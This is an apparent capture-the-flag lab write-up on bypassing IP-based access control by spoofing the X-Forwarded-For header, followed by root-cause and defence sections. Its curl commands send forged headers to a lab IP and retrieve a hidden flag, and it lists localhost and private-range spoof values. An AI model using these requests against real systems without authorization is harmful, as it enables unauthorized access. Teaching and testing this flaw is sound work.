

HackDNA – Spoofed Header Access (X-Forwarded-For)

Challenge Overview

This lab demonstrates how trusting client-supplied HTTP headers can lead to access control bypasses. In particular, the `X-Forwarded-For` header is sometimes incorrectly used for security decisions such as IP-based filtering, admin gating, or hidden route exposure.

When applications trust this header without proper validation, attackers can spoof it to manipulate server-side logic.

Objective

Bypass access restrictions by manipulating HTTP headers and retrieve the hidden flag endpoint.

Understanding the Vulnerability

The `X-Forwarded-For` header is intended to represent the original client IP when requests pass through proxies or load balancers.

However, if the application directly trusts this value:

- IP-based restrictions can be bypassed
 - Admin panels may be exposed
 - Hidden endpoints may be revealed
 - Security logic can be manipulated
-

Reconnaissance

A POST request is made to the application:

```
http://3.252.233.93/index.php
```

The request includes a custom header:

```
X-Forwarded-For: 3.252.233.93
```

This is used to influence server-side logic.

Exploitation

Curl Request

```
curl -X POST http://3.252.233.93/index.php  
-H "X-Forwarded-For: 3.252.233.93"  
-d "password=" -v
```

Server Response

The server responds with a redirect:

```
HTTP/1.1 302 Found  
Location: /2kf84qoqi6sviu7poeu54p9b/flag.txt
```

This indicates successful bypass of the access control logic.

Flag Retrieval

Follow the redirected path:

```
/2kf84qoqi6sviu7poeu54p9b/flag.txt
```

Retrieve the flag using curl:

```
curl http://3.252.233.93/2kf84qoqi6sviu7poeu54p9b/flag.txt
```

Impact

If applications trust spoofable headers, attackers can:

- Bypass IP restrictions
 - Access hidden administrative routes
 - Evade geo-blocking controls
 - Manipulate security rules
 - Reach sensitive internal endpoints
-

Root Cause

This vulnerability occurs because:

- Server trusts `X-Forwarded-For` without validation
 - No reverse proxy normalization is enforced
 - Client-controlled headers are used for security decisions
 - Lack of secure IP resolution logic
-

Detection Techniques

Manual Testing

- Modify `X-Forwarded-For` header
- Observe changes in application behavior
- Test different IP values (localhost, private ranges)

Example Variations

```
X-Forwarded-For: 127.0.0.1  
X-Forwarded-For: 10.0.0.1  
X-Forwarded-For: 192.168.1.1
```

Security Impact

Exploiting spoofed headers can lead to:

- Authentication bypass

- Hidden endpoint discovery
 - Privilege escalation
 - Internal system exposure
 - Administrative access
-

Defensive Measures

Do Not Trust Client Headers

Never use `X-Forwarded-For` for security decisions without validation.

Use Trusted Reverse Proxies

Only accept IP headers from known proxy infrastructure.

Validate Source IP Server-Side

Use server-obtained connection IP instead of headers.

Normalize Headers

Strip or overwrite incoming spoofable headers at the proxy layer.

Implement Access Controls Properly

Security decisions should rely on:

- Authentication tokens
 - Session validation
 - Server-side authorization logic
-

Key Takeaway

Client-controlled HTTP headers are not trustworthy.

Security-critical decisions must never rely on values that originate from the client.

Vulnerability Classification

- CWE-290: Authentication Bypass by Spoofing
 - CWE-346: Origin Validation Error
 - CWE-807: Reliance on Untrusted Inputs in a Security Decision
 - OWASP A01:2021 – Broken Access Control
-

Conclusion

This lab demonstrates how simple header spoofing can bypass weak server-side trust assumptions. Misuse of `X-Forwarded-For` is a common real-world issue in misconfigured proxy and load-balanced environments.

Proper IP validation and strict trust boundaries are essential to prevent this class of vulnerability.